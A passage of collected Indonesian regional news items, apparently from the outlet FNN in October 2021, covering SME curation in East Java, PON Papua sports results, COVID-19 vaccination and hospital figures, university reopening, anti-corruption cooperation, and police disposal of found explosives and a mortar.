Kediri, Kabupaten Nganjuk, Kabupaten Mojokerto, Kabupaten Lamongan; serta 5 (lima) pelaku usaha yang mendapatkan sertifikat Kurasi. Gubernur Jawa Timur mengapresiasi inovasi Disperindag Jatim yakni Pondok Kurasi yang bertujuan untuk meningkatkan daya saing UKM/IKM melalui proses kurasi dan Gerai Bangga Buatan Indonesia (BBI) 3600 sebagai salah satu upaya peningkatan jejaring pasar secara hybrid, dikemas dalam format virtual 3600. Pondok Kurasi merupakan upaya Pemerintah Provinsi Jawa Timur dalam memfasilitasi pelaku usaha Industri Kecil Menengah (IKM) untuk bisa naik kelas melalui proses kurasi dengan beberapa kriteria yang ditetapkan yakni kelengkapan legalitas, desain produk kemasan, inovasi produk, kontinuitas produk, serta pasar berpotensi untuk memperluas jangkauan pemasaran produk IKM/UKM,” jelas Khofifah. IKM yang telah memenuhi standar kelolosan akan diprioritaskan untuk mengikuti fasilitasi promosi baik didalam dan luar negeri, diantaranya Gerai BBI 3600 dan fasilitasi oleh export center. Sedangkan yang belum memenuhi standar kelolosan akan mendapatkan fasilitasi sertifikasi sesuai dengan yang dibutuhkan oleh IKM/UKM yang bersangkutan, diantaranya adalah Halal, Uji Nutrisi, SNI, Haki, Merk, SVLK, dan lain-lain. Hingga saat ini sudah dilakukan kurasi pada 338 IKM dengan jenis komoditi berupa mamin, batik, bordir, fashion, aneka kerajinan, produk kulit, furniture, aksesoris, serta kosmetik yang telah dikurasi oleh Tim Pelaksana Pondok Kurasi. Total terdapat 8 koordinator wilayah Pondok Kurasi yang meliputi wilayah Sidoarjo, wilayah Pasuruan, wilayah Malang, wilayah Bojonegoro, Wilayah Kediri, wilayah Magetan dan wilayah Jember. Sementara itu, untuk mendorong pemulihan ekonomi lewat dukungan terhadap sektor IKM/UKM, Pemerintah Provinsi Jawa Timur menginisiasi Gerai BBI 3600 sebagai upaya pengembangan inovasi ekonomi digital di tengah masa pandemi Covid-19 sekaligus meningkatkan akses jaringan pasar dan daya saing produk IKM/UKM. Pembentukan Gerai BBI 3600 ini juga mendukung Gerakan Nasional Bangga Buatan Indonesia (BBI) yang dicanangkan oleh Presiden Joko Widodo agar masyarakat Indonesia mencintai dan menggunakan karya anak bangsa. Gerai BBI 3600 merupakan manifest tempat gelaran hybrid produk unggulan IKM/UKM Jawa Timur untuk mempromosikan dan menjual produknya. Diharapkan masyarakat makin cinta dan bangga serta menggunakan dan mengkonsumsi produk-produk buatan Jawa Timur. (mth)

Marciano Apresiasi Lahirnya Atlet Muda di Cabang Menembak PON Papua

Jayapura, FNN - Ketua Umum Komite Olahraga Nasional Indonesia (KONI) Pusat Letjen TNI (Purn.) Marciano Norman mengapresiasi pembinaan yang dilakukan cabang olahraga menembak sehingga dalam PON Papua ini bisa lahir para juara yang berusia relatif muda. “Ini hasil talent scouting bagus yang dilakukan Perbakin dan mereka atlet-atlet yang jangka waktunya masih panjang,” kata Marciano seusai mengalungkan medali kepada tiga atlet muda Audrey Zahr (Jawa Barat), Diaz Kusumawardani (Jawa Timur), dan Gisella Lasut (Sulawesi Utara) di Lapangan Menembak Indoor Kampung Harapan, Sentani, Kabupaten Jayapura, Selasa. Audrey Zahr (Jawa Barat) adalah peraih medali emas untuk nomor 10 m Air Rifle putri, sedangkan Diaz Kusumawardani (Jawa Timur) dan Gisella Lasut (Sulawesi Utara) masing-masing meraih perak dan perunggu. Audrey Zahra adalah petembak nasional yang sudah bertanding di tingkat Asia maupun dunia, meskipun usianya masih sangat belia, yakni 17 tahun. Salah satu prestasi dari gadis kelahiran 10 November 2004 ini, adalah meraih medali perunggu pada kejuaraan dunia menembak di New Delhi India, pada 16-24 Maret 2021. Medali perunggu itu diraihnya pada kelas 50 meter untuk nomor 3 position women team bersama dengan Vidya Rafika dan Monica Daryanti. Marciano mengaku bangga dengan hadirnya para juara yang berusia relatif muda itu dan ia yakin jika regenerasi dan pembinaan terus sinambung, olahraga menembak di Indonesia akan semakin berkembang. “Yang membanggakan saya, atlet-atlet pemenangnya usianya masih sangat muda,” katanya. Dengan hadirnya atlet-atlet muda berprestasi, Ketua Umum KONI Pusat yakin masa depan menembak Indonesia cerah. “Kita optimis menembak akan menjadi salah satu cabang olahraga andalan kita,” pungkas mantan Kepala BIN itu. (mth)

Mukomuko Targetkan 60 Persen Warga Divaksin Sebelum Pilkades

Mukomuko, FNN -Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Mukomuko, Provinsi Bengkulu, menargetkan vaksinasi COVID-19 minimal 60 persen warga di 47 desa sebelum pemilihan kepala desa. "Sebanyak 47 desa yang tersebar di sejumlah kecamatan menggelar pemilihan kepala desa serentak pada tanggal 1 November 2021," kata Kepala Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Mukomuko Gianto di Mukomuko, Selasa. Menurut dia, Dinas Kesehatan Mukomuko sampai sekarang masih terus melakukan vaksinasi massal untuk warga setempat, termasuk vaksinasi untuk warga di desa yang akan mengadakan pilkades. Ia berharap stok vaksin yang ada di Dinas Kesehatan setempat mencukupi untuk warga desa yang menggelar pilkades serentak pada tahun ini. Untuk mencapai target tersebut, kata dia, vaksin yang banyak agar bisa mengakomodasi warga di puluhan desa ini. Meskipun mengalami penurunan kategori penerapan pemberlakuan pembatasan kegiatan masyarakat (PPK) dari sebelumnya level 3 menjadi level 2, daerah ini tetap menerapkan disiplin protokol kesehatan pencegahan penyebaran virus corona. "Kami tetap menerapkan protokol kesehatan, seperti jaga jarak, cek suhu, dan petugas harus pakai sarung tangan saat pelaksanaan pilkades serentak di daerah ini," katanya pula. Ia menegaskan bahwa pihaknya menerapkan protokol kesehatan dalam setiap tahapan pemilihan kepala desa serentak. (sws)

Airlangga Harap Monash University Bentuk Generasi Berdaya Saing Tinggi

Jakarta, FNN - Menteri Koordinator Bidang Perekonomian, Airlangga Hartarto berharap Monash University Indonesia sebagai kampus asing pertama di Indonesia bisa membentuk generasi muda berdaya saing tinggi. “Pendidikan yang baik yang dapat diperoleh dari institusi pendidikan berskala internasional dapat membentuk generasi muda Indonesia menjadi generasi yang tangguh, berdaya saing tinggi dengan pengetahuan dan ilmu yang mumpuni untuk bersaing menghadapi persaingan atau kompetisi global,” ujar Menko Airlangga dalam keterangannya yang diterima di Jakarta, Selasa. Menko Airlangga yang juga lulusan Monash University Indonesia, mengatakan pandemi COVIF-19 telah memaksa masyarakat mengubah cara hidup, termasuk cara melakukan kegiatan belajar mengajar di sektor pendidikan. Namun, pandemi juga mengakselerasi transformasi dengan menggunakan teknologi dan digital lebih masif ke dalam tata cara kehidupan masyarakat. “Kita memasuki era industri 4.0 yang membutuhkan talenta digital luar biasa, dari mulai Data Analyst, Artificial Intelligence and Machine Learning Specialists, Developer dan lainnya. Indonesia diperkirakan akan membutuhkan sekitar 9 juta talenta digital dalam waktu 15 tahun yang akan datang,” ujar Airlangga saat memberikan sambutan kepada mahasiswa baru pada saat masa orientasi siswa (MOS) Monash University secara daring. Pemerintah, lanjutnya, akan terus menyediakan pelatihan kepada lebih dari 600 ribu talenta digital setiap tahunnya untuk mempersiapkan Indonesia menjadi negara dengan PDB terbesar ke-5 di dunia pada tahun 2045 mendatang. Kehadiran kampus Monash University di Indonesia diharapkan dapat berkontribusi secara luas terhadap pembangunan di bidang sosial, teknologi dan ekonomi di Indonesia. “Kehadiran kampus Monash University Indonesia akan semakin memperkuat komitmen dan hubungan riset pendidikan antara Australia dan Asia,” kata Rektor Monash University Indonesia Andrew MacIntrye. Monash University merupakan salah satu universitas terbesar di Australia yang telah beroperasi sejak tahun 1958. Sedangkan Monash University Indonesia sudah memulai perkuliahan perdana pada Senin (4/10) secara virtual dan akan melakukan perkuliahan secara tatap muka mengikuti kebijakan Pemerintah terkait Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Saat ini terdapat empat jurusan program pasca sarjana yang dibuka pada kampus ini, yaitu Sains Data (Data Science), Kebijakan Publik (Public Policy), Desain Perkotaan (Urban Design) dan Inovasi Bisnis (Business Innovation). (mth)

Unsoed Purwokerto Segera Laksanakan Perkuliahan Tatap Muka

Purwokerto, FNN - Universitas Jenderal Soedirman (Unsoed) Purwokerto, Kabupaten Banyumas, Jawa Tengah segera melaksanakan perkuliahan tatap muka yang diprioritaskan bagi mahasiswa angkatan 2020 dan mahasiswa baru angkatan 2021. Saat memberi keterangan pers di Purwokerto, Selasa, Rektor Unsoed Suwarto mengatakan perkuliahan tatap muka tersebut direncanakan mulai dilaksanakan usai ujian tengah semester atau minggu ketiga Oktober 2021. "Perkuliahan tatap muka ini akan dilaksanakan secara bertahap dan untuk sementara diprioritaskan bagi mahasiswa angkatan 2020 dan mahasiswa baru khususnya yang berasal dari Kabupaten Banyumas dan Purbalingga," katanya didampingi Wakil Rektor Bidang Akademik Akhmad Sodiq. Menurut dia, hal itu juga dilaksanakan sesuai dengan syarat yang telah ditetapkan dan sesuai dengan kuota yang tersedia. Ia mengatakan daftar mata kuliah di masing-masing program studi yang telah disiapkan untuk perkuliahan tatap muka selanjutnya akan diinformasikan oleh fakultas dan peserta kuliah akan melakukan pendaftaran di fakultas masing-masing. Kendati sebagian perkuliahan akan mulai dilaksanakan secara tatap muka, ia mengatakan, fakultas tetap menyediakan sarana dan prasarana serta dosen bagi mahasiswa yang memilih kuliah secara daring. Terkait dengan teknis pelaksanaan perkuliahan tatap muka tersebut, Wakil Rektor Bidang Akademik Akhmad Sodiq mengatakan Unsoed akan berkoordinasi dengan Satgas Penanganan COVID-19 Kabupaten Banyumas. "Selain itu, setiap fakultas juga membentuk Tim Kesehatan dan Keselamatan Fakultas atau Satgas COVID-19 Fakultas untuk menyusun, menyiapkan dan menerapkan standar operasional prosedur protokol kesehatan bersama-sama Satgas COVID-19 Universitas," katanya. Satgas COVID-19 Unsoed juga akan berkoordinasi dengan masyarakat sekitar kampus untuk mendukung pencegahan COVID-19. Dia mengatakan mahasiswa yang akan mengikuti perkuliahan tatap muka secara penuh maupun bauran (blended) harus dalam keadaan sehat, telah melakukan vaksinasi, ada izin dari orang tua, serta menerapkan protokol kesehatan yang telah disiapkan. "Perkuliahan bauran atau blended merupakan kombinasi tatap muka dan daring. Sebagian mata kuliah nanti akan ditawarkan, kalau dalam proses perkuliahan itu ada 14 tatap muka, barang kali yang ditatapmukakan tergantung masing-masing program studi yang menawarkan," katanya. Ia mengatakan jika semua dosen masih muda dan dalam kondisi sehat, seluruh materi kuliah memungkinkan untuk diberikan secara tatap muka. Menurut dia, metode perkuliahan secara bauran juga mempertimbangkan aspek ketersediaan dosen, misalnya dosen yang sudah sepuh atau berusia di atas 60 tahun dihindarkan dari perkuliahan tatap muka. "Selain itu, jika jumlah mahasiswanya (yang mengikuti mata kuliah tertentu, red.) banyak sedangkan dosennya sedikit, barang kali akan ada bagian-bagian tertentu yang dilakukan secara tatap muka, terutama bagian yang capaiannya sulit dilakukan jika diberikan secara daring. Ini yang sudah menerapkan adalah Fakultas Kedokteran dan Fakultas Ilmu Kesehatan dengan protokol kesehatan secara ketat," katanya. Ia mengatakan perkuliahan secara bauran juga telah dilaksanakan untuk kegiatan praktikum dan bimbingan akhir. Dalam pelaksanaan perkuliahan tatap muka, kata dia, masing-masing fakultas juga menyiapkan sarana dan prasarana sesuai dengan protokol kesehatan yang disyaratkan, seperti penggunaan ruangan maksimal 50 persen atau maksimal 25 orang. Selain itu, menyiapkan dukungan tindakan kedaruratan, menyediakan ruang isolasi sementara jika ada civitas academica dan tenaga kependidikan yang memiliki gejala COVID-19, serta ketentuan lain sesuai protokol kesehatan. "Perkuliahan tatap muka ini akan terus dipantau dan apabila ada peningkatan kasus COVID-19, maka rektor dapat menghentikan kegiatan tatap muka tersebut dan melakukan evaluasi. Alhamdulillah, berdasarkan data dua bulan terakhir, Unsoed dalam kondisi zero kasus COVID-19," kata Sodiq.

Some 266 Inpatients Receiving Treatment at Kemayoran Athlete's Village

Jakarta, FNN - Some 266 COVID-19 patients are still undergoing treatment at the Kemayoran Athlete's Village COVID-19 Emergency Hospital in Jakarta as per Tuesday. "The number of patients declined by nine," Colonel Aris Mudian, the coordinator for emergency hospitals for COVID-19, noted in a statement here on Tuesday. Mudian revealed that 275 inpatients were receiving care as per Monday, October 4. All patients confirmed positive for COVID-19 are being treated at towers Four, Five, Six, and Seven, he noted. They showed mild symptoms, he added. The Emergency Hospital can cater to nearly 7,937 patients. Currently, 7,671 beds are vacant. During the period from March 23, 2020, to October 5, 2021, a total of 128,218 patients were referred to the Athlete's Village Hospital. They have as many as 127,952 COVID-19 outpatients, with 126,319 having recovered, 1,037 others referred to other hospitals, and 596 patients that succumbed to COVID-19. Mudian also highlighted situation at the Pademangan Athlete's Village COVID-19 Emergency Hospital. Currently, 4,812 inpatients were recorded as per Tuesday. The figure declined by three from the day before (October 4) when the number of inpatients reached 4,815. They are being treated at Towers Eight, Nine, and 10. Mudian also furnished information on the condition of COVID-19 patients at the Pasar Rumput Apartment COVID-19 Emergency Hospital. Currently, 2,285 infected patients were undergoing treatment at the Pasar Rumput Apartment Hospital. The figure declined by 313 as compared to 2,598 people being treated as of Monday, October 4. The patients are receiving treatment in Tower One and Two. Coordinator of the Kemayoran Athlete's Village COVID-19 Emergency Hospital General Mayor Tugas Ratmono stated that centralized isolation facilities also offered health services and medical assistance to asymptomatic or mildly symptomatic COVID-19 patients, so that those with moderate and severe symptoms could be treated at the referral hospital. He compelled all stakeholders to always follow health protocols in a disciplined manner. Practicing vigilance by complying with the 5M health protocols was the most important aspect, so that COVID-19 cases did not spike again, he stated. "I have been here for more than a year. From the data, if there is negligence in implementing health protocols, then the number of patients who come in will definitely increase. The number of patients at the Athlete's Village accurately describes the condition of the COVID-19 pandemic," Ratmono pointed out. (sws)

Pemkot Medan "Jemput Bola" Vaksinasi COVID -19 Kepada Warga

Medan, FNN - Pemerintah Kota Medan, Sumatera Utara menggelar vaksinasi secara "jemput bola" di Green Kupi, Jalan Karya Jaya Kecamatan Medan Johor, sebagai upaya mempermudah masyarakat mendapatkan vaksin COVID-19. Wali Kota Medan Bobby Nasution di Medan, Selasa, mengatakan pemkot memperbanyak lokasi vaksinasi untuk mendekatkan layanan itu kepada masyarakat. Menurut Bobby, Green Kupi merupakan tempat masyarakat di Kecamatan Medan Johor berkumpul sehingga diputuskan menjadi tempat lokasi vaksinasi. "Di sini Green Kupi, tempat ngumpul masyarakat Johor, nongkrong, tempat ngopi, kita jadikan tempat vaksin, biar apa, biar gak susah nyari, di mana tempatnya di Green Kopi, ini yang disebut vaksinasi jempol, jemput bola," kata dia saat meninjau lokasi tersebut. Menantu Presiden Jokowi ini, mengatakan sudah lima titik yang dijadikan tempat vakinasi "jemput bola" di Kecamatan Medan Johor. Camat Medan Johor Zulfakhri Ahmadi menambahkan, selain vaksinasi "jemput bola", di kantor camat dan puskesmas tetap melakukan vaksinasi. Vaksinasi di Green Kupi, kata dia, merupakan hari kelima pelaksanaan vaksinasi "jemput bola". "Satu titik kita targetkan 300 vaksin dosis pertama dan 28 hari ke depan vaksin dosis kedua. Besok adalah di Kelurahan Sukamaju, nanti kita gilir satu kelurahan dengan target 300 vaksin. Nanti kita evaluasi, dua minggu ke depan kita lakukan hal seperti ini, apabila antusias masyarakat masih banyak," tuturnya. Zulfakhri mengatakan tingkat vaksinasi masyarakat di Kecamatan Medan Johor cukup tinggi, yakni mencapai 45 persen dari total sasaran. (sws)

Pemprov Sultra Membangun Sinergi Penanganan Korupsi

Kendari, FNN - Pemerintah Provinsi Sulawesi Tenggara, Kepolisian Daerah (Polda), Kejaksaan Tinggi (Kejati), dan Badan Pengawasan Keuangan dan Pembangunan (BPKP) setempat membangun sinergi penanganan tindak pidana korupsi. Gubernur Sulawesi Tenggara Ali Mazi di Kendari, Selasa, mengatakan kerja sama itu merupakan tindak lanjut dari perjanjian yang dilaksanakan pada 2018 tentang penanganan kasus tindak pidana korupsi yang diinisiasi Komisi Pemberantasan Korupsi (KPK). "Bertujuan memperkuat kerja sama yang sinergis di antara Aparat Pengawas Internal Pemerintahan (APIP) dan Aparat Penegak Hukum (APH) dalam melakukan koordinasi penanganan laporan atau pengaduan masyarakat yang terindikasi tindak pidana korupsi," kata Gubernur. Menurut Ali Mazi, kerja sama itu sangat positif karena dengan adanya perjanjian itu dapat mendorong terwujudnya pemerintahan yang baik di provinsi tersebut. Gubernur berharap APIP dalam hal ini Inspektorat Daerah agar tidak lagi mencari kesalahan tetapi menangkap sinyal awal peluang terjadinya tindak pidana korupsi. Dia mendorong APIP untuk terus meningkatkan integritas, profesionalisme, dan kapabilitas agar dalam melaksanakan tugas dan fungsinya dapat memberikan keyakinan yang memadai dan mampu meminimalkan timbulnya praktik korupsi dalam penyelenggaraan pemerintahan daerah. "Dengan adanya perjanjian kerja sama ini diharapkan menjadi dasar dalam penanganan laporan dan pengaduan tindak pidana korupsi di Provinsi Sulawesi Tenggara dan kabupaten/kota," kata Ali Mazi. Kapolda Sultra Irjen Pol Yan Sultra Indrajaya mengatakan bahwa korupsi merupakan kejahatan luar biasa yang tidak hanya merugikan keuangan negara tapi juga merampas hak-hak rakyat, HAM, dan mengganggu perekenomian negara. "Inilah kenapa pentingnya kita sinergikan bagaimana mewujudkan pemerintahan yang baik di Pemerintah Provinsi Sulawesi Tenggara sehingga tidak terjadi lagi tindak pidana korupsi,' katanya. Kepala Kejaksaan Tinggi Sultra Sarjono Turin berharap dengan sinergitas antara APH dan APIP dapat bekerja sama dengan baik dalam penanganan aduan dan laporan tindak pidana korupsi di Provinsi Sulawesi Tenggara. "Dengan adanya MoU dan seminar ini diharapkan melahirkan konsep-konsep konstruktif dalam penanganan kasus tindak pidana korupsi yang efektif, efisien, transparan, dan akuntabel," kata Sarjono Turin. (sws)

PON Papua - Tim Peraih Emas PON 2012-2016 Tuntaskan PON Tanpa Menang

Mimika, FNN - Tim bola basket putri Jawa Tengah, peraih medali emas PON 2012 dan 2016, menuntaskan kiprahnya di PON XX Papua tanpa satu pun kemenangan setelah takluk dari Jawa Barat 53-65 pada pertandingan pamungkas Pool X di Mimika Sport Complex, Mimika, Selasa. Jawa Tengah selalu kalah pada tiga laga Pool X. Sebelumnya, mereka ditundukkan Bali dan Jawa Timur. Dengan kondisi tersebut, mereka dipastikan tak lolos dari penyisihan grup. Sementara bagi tim putri Jawa Barat, yang juga gagal melaju ke babak selanjutnya, hasil positif kontra Jawa Tengah membuat mereka setidak-tidaknya pulang dengan mengantongi satu kemenangan dari tiga laga di PON Papua. Meski tak lagi menentukan bagi kedua tim, pertandingan Jawa Barat kontra Jawa Timur berlangsung dengan penuh semangat sejak awal. Jawa Barat unggul cepat 0-6 satu menit kuarter pertama dimulai. Jateng memperkecil selisih skor menjadi 4-8 via dua angka Nia Sulistyarini, tetapi Jabar terus melaju dan menyelesaikan kuarter itu dengan keunggulan 19-10. Kuarter kedua, Jabar menjauh 16 angka, 12-28, setelah Nikita Ferliana melesakkan lemparan bebas. Mereka tak terbendung dan memimpin sebelum jeda, 33-16. Usai turun minum, Jabar yang tampil disiplin tak memberikan kesempatan Jateng untuk mengembangkan permainan. Mereka pun memimpin kuarter ketiga, 45-37 dan menuntaskan laga dengan kemenangan 65-53. Deniece Gunarto memimpin perolehan poin Jawa Barat dengan membuat 12 poin, tiga rebound dan lima assist. Sementara di kubu Jawa Tengah, Dyah Lestari mencatatkan "double-double", 14 poin, 12 rebound dan satu assist. (sws)

Polisi Sebut Bahan Peledak di Majalengka Berjarak 7 km dari Permukiman

Bandung, FNN - Kabidhumas Polda Jawa Barat Kombes Pol Erdi A Chaniago mengatakan bahan peledak yang ditemukan Tim Densus 88 Antiteror dan Brimob Polda Jabar di Gunung Ceremai, Kabupaten Majalengka, berjarak sekitar 7 kilometer dari permukiman terdekat. Menurutnya, bahan peledak yang memiliki daya ledak tinggi berjuluk "Mother of Satan" seberat 35 Kilogram itu masih aktif saat ditemukan oleh petugas. Namun kini bahan peledak itu sudah didisposal hingga nonaktif. "Bom tersebut dalam kondisi utuh dan aktif, dalam artian itu bisa diaktifkan saat ditemukan," kata Erdi di Polda Jawa Barat, Selasa. Erdi mengatakan sebagian dari bahan peledak itu sempat diledakkan di lokasi penemuan oleh kepolisian guna mengukur seberapa daya eksplosif bahan tersebut. Hasilnya, kata dia, bahan peledak itu berdaya ledak kuat dan cukup mengkhawatirkan apabila tidak segera ditangani petugas. "Dengan sedikit saja, ternyata itu dapat mengakibatkan suatu getaran yang sangat kuat. Nah sisanya bahan peledak itu dibawa ke Brimob untuk dilakukan disposal," kata dia. Kemudian di Markas Komando Brimob Polda Jawa Barat, kata dia, para petugas meledakkan kembali bahan peledak itu agar tidak tersisa setelah diurai. "Jadi kita ledakkan kembali untuk mengamankan karena ini sangat berbahaya jika digunakan teroris," kata Erdi. Meski sudah ditemukan, menurutnya, Tim Densus 88 Antiteror juga akan mengembangkan penemuan tersebut guna mencari potensi adanya hal serupa. "Tapi diharapkan tidak ada lagi, karena ini sangat membahayakan jika kita menemukan seperti itu lagi, daya ledaknya tinggi, sangat mengkhawatirkan," katanya. (sws)

Satgas Pamtas Terima Mortir Peninggalan PGRS dan Paraku

Pontianak, FNN - Satuan Tugas (Satgas) Pengamanan Perbatasan (Pamtas) Yonif Mekanis 643/Wanara Sakti menerima mortir jenis 60 Komando yang diduga bekas peninggalan Pasukan Gerilya Rakyat Sarawak (PGRS) dan Pasukan Rakyat Kalimantan Utara (Paraku). Mortir itu ditemukan oleh masyarakat pada saat pembukaan lahan, di Dusun Panga, Desa Semanget, Kecamatan Entikong, Kabupaten Sanggau, Kalimantan Barat. "Penemuan senjata mortir jenis 60 Komando ini berawal dari kegiatan pembukaan lahan atau bertani oleh masyarakat di Dusun Panga, Desa Semanget. Pada saat pembukaan lahan tersebut cangkul salah satu warga mengenai benda yang dikira adalah besi tua, namun setelah digali bentuknya menyerupai senjata mortir," kata Dansatgas Pamtas Yonif Mekanis 643/Wns Letkol Inf Hendro Wicaksono dalam keterangan tertulisnya, di Makotis Entikong, Selasa. Dia mengatakan, setelah mengetahui penemuan tersebut secara berbondong-bondong warga dipimpin Fransiskus Sumen mendatangi Pos Panga dan menyampaikan kepada danpos perihal ditemukannya senjata mortir jenis 60 Komando itu. Oleh personel pos, senjata tersebut dibersihkan dan dipastikan masih dalam keadaan aktif dan terlihat lambang atau kode dari negara Malaysia yang sudah kabur namun masih terbaca. “Senjata mortir jenis 60 Komando tersebut kemungkinan besar adalah bekas peninggalan masa konfrontasi PGRS/Paraku yang terjadi pada tahun 1965 hingga 1969 di daerah Desa Semanget di sekitar wilayah perbatasan Indonesia-Malaysia,” ujarnya. Atas kejadian itu, Dansatgas menyampaikan apresiasi yang setinggi-tingginya kepada masyarakat yang telah secara sadar dan turut berperan aktif dalam melaporkan temuan senjata mortir itu, apalagi bertepatan dengan HUT ke-76 TNI. Secara terpisah, Danpos Panga Letda Inf Yopi Prasetyo mengatakan pihaknya sering memberikan pemahaman kepada masyarakat di sekitar pos mengenai bahaya menyimpan senjata api, amunisi ataupun bahan peledak baik itu milik sendiri ataupun temuan sisa konfrontasi. “Kami selalu memberikan edukasi kepada warga untuk selalu menjaga keamanan di rumah dengan tidak menyimpan senjata api, amunisi ataupun bahan peledak yang dapat membahayakan nyawa keluarga dan orang lain,” ujarnya. Fransiskus Sumen mengatakan setelah dirinya menemukan mortir tersebut, lalu dia langsung melaporkan temuannya itu kepada Pos Panga dan langsung menyerahkannya kepada danpos. “Kami sering diberitahu oleh personel Pos Satgas Pamtas untuk menyerahkan senjata api, amunisi ataupun bahan peledak yang kami miliki di rumah demi keamanan keluarga, ini adalah salah satu wujud komitmen kami dengan satgas pamtas," ujarnya pula. (sws)

Anggota DPR RI: Tiga Tantangan Besar Dihadapi TNI

Jakarta, FNN - Anggota Komisi I DPR RI Sukamta mengatakan dalam perayaan HUT Ke-76 TNI institusi ini memiliki tiga tantangan besar yang dihadapi terkait dengan meningkatnya situasi di Laut China Selatan. Menurut dia, posisi Indonesia yang dekat dengan episentrum konflik Laut China Selatan akan rawan menjadi area perang proxy dan adu pengaruh antarkekuatan besar seperti China dan Amerika Serikat. "Bukan tidak mungkin skala konflik di Laut China Selatan bisa berkembang menjadi perang terbuka. Jika ini terjadi, dampak secara ekonomi akan sangat berat bagi negara-negara di sekitarnya," kata Sukamta dalam keterangannya di Jakarta, Selasa. Menurut dia, dengan pendekatan keamanan internasional secara konvensional yang diperlihatkan China dan Amerika Serikat beserta sekutunya melalui adu kekuatan militer mau tidak mau Indonesia harus mengembangkan kemampuan militer ke level yang lebih tinggi agar punya posisi lebih kuat dalam skala regional. Dia menjelaskan tantangan kedua yang dihadapi TNI ada di lingkup nasional, yaitu meningkatnya gerakan separatisme di Papua dan masih tumbuhnya gerakan ekstremisme berbalut sentimen agama. "Selain itu ancaman disintegrasi karena sentimen politik yang mengarah kepada pembelahan masyarakat perlu disikapi TNI dengan tindakan yang lebih sistematis dan menyentuh akar permasalahan," ujarnya. Sukamta menilai peran Bintara Pembina Desa (Babinsa) dalam mengedukasi bela negara di masyarakat perlu lebih dikuatkan. Selain itu, menurut dia, program-program seperti TNI Manunggal Masuk Desa (TMMD) yang menyasar kantong-kantong kemiskinan dan wilayah terluar dan tertinggal perlu diperluas karena akan menguatkan simpul-simpul persatuan. Dia menjelaskan tantangan ketiga yang tidak kalah besar dihadapi TNI adalah perkembangan teknologi sangat pesat yang menyebabkan dimensi keamanan nasional menjadi lebih luas. "Saat ini ancaman terhadap kedaulatan Indonesia tidak hanya berwujud kekuatan bersenjata, tetapi juga bisa berwujud perang siber. Hal ini menuntut TNI untuk turut memperkuat sistem keamanan siber," katanya. Dia menilai dengan adanya tiga tantangan tersebut diharapkan TNI terus melakukan pembenahan dengan fokus pada dua hal, yaitu peningkatan kapasitas sumber daya manusia (SDM) dan memperkuat industri pertahanan nasional. Menurut Sukamta, kedua hal tersebut akan membawa TNI pada level yang lebih tinggi dalam percaturan global. (sws)

Belum Banyak Warga Palembang Memanfaatkan Pemutihan Pajak Kendaraan

Palembang, FNN - Kebijakan Pemerintah Provinsi Sumatera Selatan memberikan pemutihan pajak kendaraan bermotor roda dua dan empat pada pekan pertama Oktober 2021 ini belum banyak dimanfaatkan warga Kota Palembang. Aktivitas pelayanan pengurusan pajak kendaraan bermotor di Kantor Samsat III Palembang, Selasa, tampak tidak terjadi antrean panjang wajib pajak yang akan mengajukan permohonan pemutihan pajak kendaraan bermotornya. Antrean di loket pengurusan perpanjangan pajak kendaraan bermotor satu tahunan di lantai pertama dan lima tahunan di lantai dua terdapat hanya dua atau tiga wajib pajak yang mengurus pajak program pemutihan. Kepala Kantor Samsat III Palembang Deliyar Marzuki mengatakan program pemutihan pajak kendaraan bermotor yang dimulai sejak 1 Oktober 2021 baru berjalan beberapa hari, wajar masih sepi karena belum banyak yang tahu. Untuk menyukseskan program pemutihan pajak kendaraan bermotor yang hanya berlangsung tiga bulan (1 Oktober-31 Desember 2021), pihaknya berupaya menyosialisasikannya kepada masyarakat melalui berbagai media. Masyarakat yang memiliki tunggakan pajak kendaraan bermotor satu tahun atau lebih diimbau untuk segera memanfaatkan program pemutihan tersebut karena cukup membayar satu tahun saja, kata Deliyar. Sementara sebelumnya Ketua DPRD Sumsel Anita Noeringhati mengimbau masyarakat yang tersebar di 17 kabupaten dan kota untuk memanfaatkan program pemutihan pajak kendaraan bermotor roda dua dan empat pada 1 Oktober hingga 31 Desember 2021. "Program pemutihan pajak kendaraan bermotor dikeluarkan pemerintah provinsi setempat untuk memberikan keringanan kepada masyarakat melunasi tunggakan pajak kendaraannya, kesempatan yang hanya berlaku tiga bulan itu jangan sampai dilewatkan," ujarnya. Masyarakat yang memiliki tunggakan pajak kendaraan bermotor roda dua dan empat, diimbau untuk segera menyiapkan berkas administrasi pemutihan pajak kendaraan dan mengunjungi kantor samsat terdekat. Dalam program pemutihan itu, pemprov memberikan pembebasan pajak kendaraan bermotor progresif, penghapusan sanksi administrasi denda bunga pajak kendaraan bermotor dan denda bunga Bea Balik Nama Kendaraan Bermotor (BBNKB). "Kebijakan pemutihan pajak kendaraan bermotor yang pernah dikeluarkan Gubernur Sumsel Herman Deru dua tahun terakhir harus disambut dengan baik karena belum tentu tahun-tahun mendatang dikeluarkan kembali kebijakan itu," ujar Anita. Sementara sebelumnya Gubernur Sumsel Herman Deru mengatakan, tahun ini mengeluarkan kembali kebijakan pemutihan pajak kendaraan bermotor roda dua dan empat karena hingga kini masih banyak masyarakat yang belum melunasi tunggakan pajak kendaraannya. Pemutihan pajak kendaraan bermotor sebagai salah satu upaya mendukung pemulihan ekonomi dampak pandemi COVID-19. Selain itu juga dilakukan untuk mengedukasi masyarakat agar tertib membayar pajak kendaraan bermotor setiap tahun sehingga tidak terjadi lagi tunggakan seperti yang dilakukan selama ini, kata Gubernur Sumsel. (mtn)

Pelaku UMKM: PON XX Papua Bawa Dampak Positif

